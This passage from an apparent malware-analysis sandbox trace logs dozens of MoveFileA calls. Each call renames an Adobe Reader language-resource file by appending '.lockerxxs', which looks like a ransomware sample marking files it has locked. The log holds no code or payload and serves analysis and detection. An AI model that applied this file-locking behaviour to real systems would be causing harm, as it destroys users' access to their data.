10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs.txt.lockerxxs")) returned 1 [0074.695] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.cs_CZ.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.cs_cz.txt.lockerxxs")) returned 1 [0074.699] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da.txt.lockerxxs")) returned 1 [0074.704] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.da_DK.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.da_dk.txt.lockerxxs")) returned 1 [0074.708] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_CH.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_ch.txt.lockerxxs")) returned 1 [0074.713] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de.txt.lockerxxs")) returned 1 [0074.716] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.de_DE_PREEURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.de_de_preeuro.txt.lockerxxs")) returned 1 [0074.723] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el.txt.lockerxxs")) returned 1 [0074.727] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr.txt.lockerxxs")) returned 1 [0074.733] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.el_GR_PREEURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.el_gr_preeuro.txt.lockerxxs")) returned 1 [0074.738] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_CA.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_ca.txt.lockerxxs")) returned 1 [0074.742] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb.txt.lockerxxs")) returned 1 [0074.746] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_GB_EURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_gb_euro.txt.lockerxxs")) returned 1 [0074.750] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us.txt.lockerxxs")) returned 1 [0074.754] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.en_US_POSIX.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.en_us_posix.txt.lockerxxs")) returned 1 [0074.758] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es.txt.lockerxxs")) returned 1 [0074.763] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_AR.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ar.txt.lockerxxs")) returned 1 [0074.767] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_BO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_bo.txt.lockerxxs")) returned 1 [0074.772] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CL.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cl.txt.lockerxxs")) returned 1 [0074.779] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_co.txt.lockerxxs")) returned 1 [0074.787] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_CR.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_cr.txt.lockerxxs")) returned 1 [0074.791] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_DO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_do.txt.lockerxxs")) returned 1 [0074.795] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_EC.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ec.txt.lockerxxs")) returned 1 [0074.800] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es.txt.lockerxxs")) returned 1 [0074.804] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_ES_PREEURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_es_preeuro.txt.lockerxxs")) returned 1 [0074.808] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_GT.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_gt.txt.lockerxxs")) returned 1 [0074.815] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_HN.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_hn.txt.lockerxxs")) returned 1 [0074.819] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_MX.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_mx.txt.lockerxxs")) returned 1 [0074.823] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_NI.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ni.txt.lockerxxs")) returned 1 [0074.828] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PA.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pa.txt.lockerxxs")) returned 1 [0074.832] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PE.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pe.txt.lockerxxs")) returned 1 [0074.836] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PR.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_pr.txt.lockerxxs")) returned 1 [0074.839] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_PY.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_py.txt.lockerxxs")) returned 1 [0074.843] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_SV.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_sv.txt.lockerxxs")) returned 1 [0074.847] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_US.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_us.txt.lockerxxs")) returned 1 [0074.852] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_UY.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_uy.txt.lockerxxs")) returned 1 [0074.856] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es_VE.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es_ve.txt.lockerxxs")) returned 1 [0074.860] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.es__TRADITIONAL.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.es__traditional.txt.lockerxxs")) returned 1 [0074.864] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et.txt.lockerxxs")) returned 1 [0074.868] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.et_EE.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.et_ee.txt.lockerxxs")) returned 1 [0074.872] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi.txt.lockerxxs")) returned 1 [0074.876] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi.txt.lockerxxs")) returned 1 [0074.880] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fi_FI_PREEURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fi_fi_preeuro.txt.lockerxxs")) returned 1 [0074.884] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_CA.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_ca.txt.lockerxxs")) returned 1 [0074.888] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr.txt.lockerxxs")) returned 1 [0074.892] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.fr_FR_PREEURO.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.fr_fr_preeuro.txt.lockerxxs")) returned 1 [0074.896] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt"), lpNewFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he.txt.lockerxxs" (normalized: "c:\\program files (x86)\\adobe\\reader 10.0\\resource\\linguistics\\languagenames2\\displaylanguagenames.he.txt.lockerxxs")) returned 1 [0074.900] MoveFileA (lpExistingFileName="C:\\Program Files (x86)\\Adobe\\Reader 10.0\\Resource\\Linguistics\\LanguageNames2\\DisplayLanguageNames.he_IL.txt" (normalized: "c:\\program files 